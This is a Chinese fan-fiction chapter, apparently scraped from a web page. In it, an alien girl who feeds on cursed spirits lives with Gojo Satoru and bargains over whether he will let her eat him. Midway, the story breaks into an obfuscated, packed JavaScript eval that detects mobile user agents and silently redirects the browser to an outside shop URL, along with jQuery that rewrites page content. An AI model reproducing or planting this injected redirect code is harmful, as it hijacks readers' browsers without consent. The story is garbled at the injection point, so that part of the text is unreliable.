他没有回答我的问题,反倒是问起我来了:
“虽然不太礼貌,但你看上去也不喜欢绕弯子,那我就直接问了——你是什么?咒灵?咒术师?”
“抱歉,我听不懂你在说什么,能解释一下吗?咒灵?咒术师?”
“啊啊,是我的问题,还是换个问法吧,比如...这是什么?”
他指了指自己的脸颊。
“你的...脸?”我歪了歪头,开始怀疑这个人类脑子是不是有点问题。
五条悟笑了,听上去他倒还有些意外,他笑着说:
“看你有问必答的样子,没想到还挺擅长说谎,真是个表里不一的孩子啊。”
话音未落,触须的动作就被迫停止——
他直接抓了上去,但就在被他抓住的瞬间,透明的触须泛起幽蓝色的微光,又散作无数光点,同时消散。
“藏起来也没用,已经看见了哦。”
他用手指点着触须消失的位置,那里只剩下空气。
“可以请你当作没看见吗?”这是我最后的办法。
“不行。”他一本正经的摇头,不肯配合。
“是触须,我的触须。”
没办法了。
人类讨厌被人欺骗,我已经骗过他一次了,还被他当场戳穿。
“哦~哦,原来是触须啊,我还没见过长触须的‘人类’呢。”
他故意把最后两个字读的很重,我知道,这是人类另一种提问的方式,更委婉,只在谈话双方都处于放松状态的情况下使用。
“如你所见,我不是人类。”
“唔。”
五条悟调整了姿势,双腿不再交叠在一起,而是向两侧打开,手肘则撑在一侧的膝盖上,掌心拖着下巴,他这样专注的盯了我好一会,才不紧不慢的开口:
“如我所见,你完全就是人类嘛,除了‘你的触须’。”
他模仿着我说话的语调...什么意思。
为什么要学我。
他听不懂吗。
“所以...怎么了?”
“所以...”他又开始学我说话了,“这位不是人类,却长得跟人类一模一样的小姐,你到底是什么东西呢?为什么要住在我家?还有刚才那个——那个又是什么情况呢?”
一边说,他一边站起,一步一步朝我走来,他似乎完全忘记我的触须还可以随时出现,不,重点不在于我身体的某个部位。
只要我需要,任何一部分的我都可以独立完成捕食的动作,对于被捕食者而言,越接近我,越靠近危险本身。
他在距我一步远的地方停下,房间顶光配合他的身高,在我身上投下一道阴影。
“这个就说来话长了。”
我一字一句,说的很慢。
“哈哈哈...有意思。”他双手撑在腰与髋的连接处,适时退出一步,又变成抱臂的姿势。
魔术师吗,舞蹈家?手部动作这么多。
“要坐下来聊聊吗?”他退到刚才坐着的地方,但没有选择坐下,而是绕到后方,一手扶着靠背,一手放在靠背前方,做出一个邀请的手势:“这边这边,这是你最喜欢的位置对不对?”
他甚至拍了拍靠背的软垫,怎么看都不怀好意。
于是我走了过去,终于回到我最喜欢的角落。
我最喜欢的姿势是蹲坐在靠背和坐垫的夹角处,双腿屈起,两手就搭在膝头。
“用你们的话来说,我算是外星人。”
·
夏天又变热了,奇怪的是往年应该趁机疯长的咒灵,这会却没闹出什么动静。
“有发现了吗?”
夏油杰坐在窗边,夕阳照的袈裟上的金色条纹泛出金属光泽,听到身后的开门声,他头也不回的问。
“具体的原因还没办法确定,但是有一块区域,已经有一个月没有发生咒灵事件了。”
“‘没有发生’?”
“嗯,连残秽都没有发现,除非有人在祓除后还把现场打扫的干干净净。”
“哈。”夏油杰不知道是想到了什么,居然被笑出了声,“有那种必要吗?”
这不是一个需要回答的问题。
“然后呢?有什么特别之处?”
夏油杰拢着宽大的袖口,网状的黄金软甲在他怀里流动,他漫不经心的问道。
“有人在附近看到了五条悟。”
“都是他一个人的功劳?”
“应该不是,他是最近一周才频繁出现在附近的,准确来说是住在附近的某个地方,还有就是...”
说话的人突然有些犹豫。
“说来听听好了,就当是闲聊。”夏油杰随意摆了摆手。
“如果没有猜错的话,他大概是在跟人同居,那个人看不出什么底细,因为没有咒灵在附近,连是不是咒术师也无法确定。”
“女人?”夏油杰心情复杂,他知道按照常理就该这样猜测,但这样寻常的一件事情真正说出来连他自己都觉得诡异。
“女人。”说话的人肯定道。
...
沉默六秒后,夏油杰看着和谐到有些莫名其妙的夕阳,对于接下来的这句话实在是不吐不快:
“我们...本意不是想聊八卦,对吧。”
对面的人只犹豫了一秒,但又的的确确的犹豫了一秒,哪怕只是一秒。
“嗯。”
“这算什么...”夏油杰小声嘀咕了一句,不带任何目的,只是不认真的抱怨。
·
“这算什么,悟。”
我和五条悟在逛超市,本周第三次。
互相叫名字的方案是他提出来的,因为我没有可以用来称呼的真实姓氏,假名‘艾利恩’也是用的‘alien’——外星人的音译,于是自认为向来与人为善的五条悟决定让我也叫他的名字。
在听我说完自己的真实身份后,五条悟问了我三个问题。
第一个问题是我为什么要来地球。
我说是为了觅食。
紧接着就是第二个问题,他问我都吃什么。
回答的时候,我盯着他看了一会,在犹豫该怎么协商才能让他自愿被我吃掉。
他很快联想到我此前对他做过的事情,问我自己有没有在我的食谱上。
坦诚如我,当即点头。
紧接着我又主动解释自己这些天都吃了些什么,我不想让他产生只有自己是我的食物的观念,虽然还不确定,但我单方面认为这会给他造成不小的压力,不利于我们最后的谈判。
谈到这个话题的时候他又回到被触须触碰到的状态了,我猜他是担心我有吃掉他一些同类,这个我也得解释清楚。
“嗯...人类好像看不见那些东西,但我可以大概跟你描述一下。”
“外形不同于任何一种动物,一定要说的话跟海底那些奇怪的无脊椎生物更接近,但又无法用人类生物学解释它们的构造。”
“明明长相跟人类毫无关联,但又能说一些人类的语言,也许是因为智力发育不足,只会重复特定的词句。”
“如果能被人类看见的话,大概...会被叫作‘怪物’吧。”
听完我的话,五条悟愣了一会,然后笑了。
紧接着他问了我第三个问题。
“好吃吗?咒灵。”
我说相当可口。
然后他就让我在他家继续住下去了,我跟他强调,这里已经是我家了。
一开始他还摆出能证明自己主人身份的证据,但因为我选择性无视的态度,他最终放弃跟我争论这个话题,只说了一句——
“好吧,总算不浪费...”
“那你要好好爱护这里哦,像爱护自己家一样。”
他说这句话的时候,做了个我不理解的动作,他拍了拍我的头,像大人对待小孩子。
首先这绝对是错误的做法,因为单从出生年龄来看,无论怎么算,他都不可能比我大。
其次,我总觉得他说的‘这里’,不止是指这间房子,而是一个更广阔,更复杂的概念。
当天晚上我依旧外出觅食,五条悟问我能不能带他一起。
“可以,但我最多只能分十分之一的食物给你。”
“我可没有那种糟糕的品味...啊,不是说你啦。”
...明明就有在扫射我啊,但我决定不跟他计较。
“话说为什么要分食物给我呢,艾莉恩一直这么大方吗?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159519|196577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“因为我希望你开心。”
“为什么?你喜欢我吗?”
喜欢吗...这么理解倒也没错。
“嗯。”
五条悟不说话了,直到他看见我猎食咒灵——他告诉我我所吃掉的那些就是他说过的咒灵,而为了减少他对自己结局的恐惧,我特意选择了温和的进食方式。
我用触须织成一张柔软的网,在咒灵们还未曾察觉的时候悄悄逼近,直到生命的最后,那只被织网包裹的咒灵都没有感受到一丝死亡与恐惧带来的痛苦。
无声无息,干干净净。
仿佛回到自身诞生之初。
“食物也成为了你的一部分?可以这样理解吗。”
五条悟单手摩梭着下巴,笑容丝毫不减,我觉得他看我的眼神好像在哪见过。
好像...在那些听说孩子考了满分的家长脸上见过。
我必须纠正他这种错误观念了。
“我不是你的孩子。”
“哈哈哈——当然。”
他甚至没有为自己的错误道歉,明明这里的人很喜欢道歉,哪怕不觉得自己有错。
五条悟,像他这样的人,大概就是人类所说的‘异类’吧。
“艾利恩每天都需要‘吃饭’吗?”
“好笨的问题。”
“好没礼貌。”
“嗯,因为你看上去不需要我对你特别礼貌,也不会因为这个生气。”
“我生气了哦,超——生气。”
“不,你没有。”
“话说你是不是舔了我一下,好快啊。”
“...”
“突然变得没礼貌就算了,连诚实的品格都丢掉了,被咒灵污染了吗!”
“没有这种情况。”
“干脆来当咒术师吧,这样每天都有吃不完的咒灵哦,还不用自己去找,会有人用小铁盒子送你——”
“我姑且知道汽车这种东西,而且不要,咒灵对我来说不是最美味的食物,不吃也不会饿死。”
“那提问——艾利恩最喜欢的食物是?”
他用手比了个麦克风,煞有介事的举在我面前。
我收回的触须再次伸出,像握手似的搭在他主动伸出的手上——
“五条悟。”
他没有把手收回去。
“你早就想这么说了,对吧。”
“嗯。”我伸出更多触须,直到将他的整个手包住。
“真正可口的其实是咒力。”他继续道。
“嗯。”
“你还没有见过其他咒术师吧。”
“嗯,但我不觉得咒术师和咒灵的区别,会比咒灵与咒灵之间的区别更大,所以放心好了,我不是因为你是咒术师才想吃掉你的。”
“我该觉得荣幸吗?”
“正常来说你应该害怕。”
“接下来该谈条件了吧。”
“嗯,我会努力满足你的需求,只要你愿意开心的被我吃掉。”
我听说过阿拉丁神灯的故事,有人说如果自己是阿拉丁,就该向精灵许愿要用不完的愿望。
五条悟倒是没这么说,但他用了类似的说法。
“好,那我的第一个条件是——”
去逛超市。
于是第二天一早,我们去了附近的超市。
我对人类的食物和商品不感兴趣,但五条悟还是执着的买了两个购物车的食物,把家里空荡荡的冰箱填满。
然后第二天、第三天。
他总是很早出门,很晚回来,回家后把窝在沙发上的我叫上,再一起去超市。
现在已经是我们第三次逛超市了。
我实在搞不懂,他到底想干什么。
他的朋友也搞不懂,虽然‘朋友’本人否定了‘朋友’的说法,他让我叫他七海。
“关于社会常识的问题都可以问他哦,如你所见,七海海是毫无疑问的常识人!”
五条悟顺着七海的话,再次隆重介绍了他。
他想让我更加融入人类社会,目的...
“这就是你的拖延战术吗?”
七海建人继续沉默。
他就不该觉得整天跟五条悟混在一起的会是什么正常人。